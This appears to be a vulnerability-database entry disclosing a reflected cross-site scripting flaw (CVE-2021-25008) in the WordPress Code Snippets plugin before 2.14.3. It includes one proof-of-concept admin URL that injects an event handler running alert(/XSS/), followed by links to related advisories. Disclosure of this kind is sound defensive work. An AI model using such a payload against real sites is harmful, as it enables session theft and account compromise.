Lucene search
Krzysztof ZającWPEX-ID:CB232354-F74D-48BB-B437-7BDDDD1DF42AHistoryDec 27, 2021 - 12:00 a.m.
Code Snippets < 2.14.3 - Reflected Cross-Site Scripting
2021-12-2700:00:00
Krzysztof Zając
56
0.001 Low
EPSS
Percentile
43.6%
The plugin does not escape the snippets-safe-mode parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x%3D
Related
wpvulndb
wpvulndb
Code Snippets < 2.14.3 - Reflected Cross-Site Scripting
2021-12-27 00:00:00
prion
prion
Cross site scripting
2022-01-24 08:15:00
openvas
openvas
WordPress Code Snippets Plugin < 2.14.3 XSS Vulnerability
2022-01-26 00:00:00
cve
cve
CVE-2021-25008
2022-01-24 08:15:09
patchstack
patchstack
cnvd
cnvd
WordPress Code Snippets plugin cross-site scripting vulnerability
2022-01-26 00:00:00
cvelist
cvelist
CVE-2021-25008 Code Snippets < 2.14.3 - Reflected Cross-Site Scripting
2022-01-24 08:01:07
nuclei
nuclei
The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting
2022-02-08 01:07:19
osv
osv
CVE-2021-25008
2022-01-24 08:15:09
nvd
nvd
CVE-2021-25008
2022-01-24 08:15:09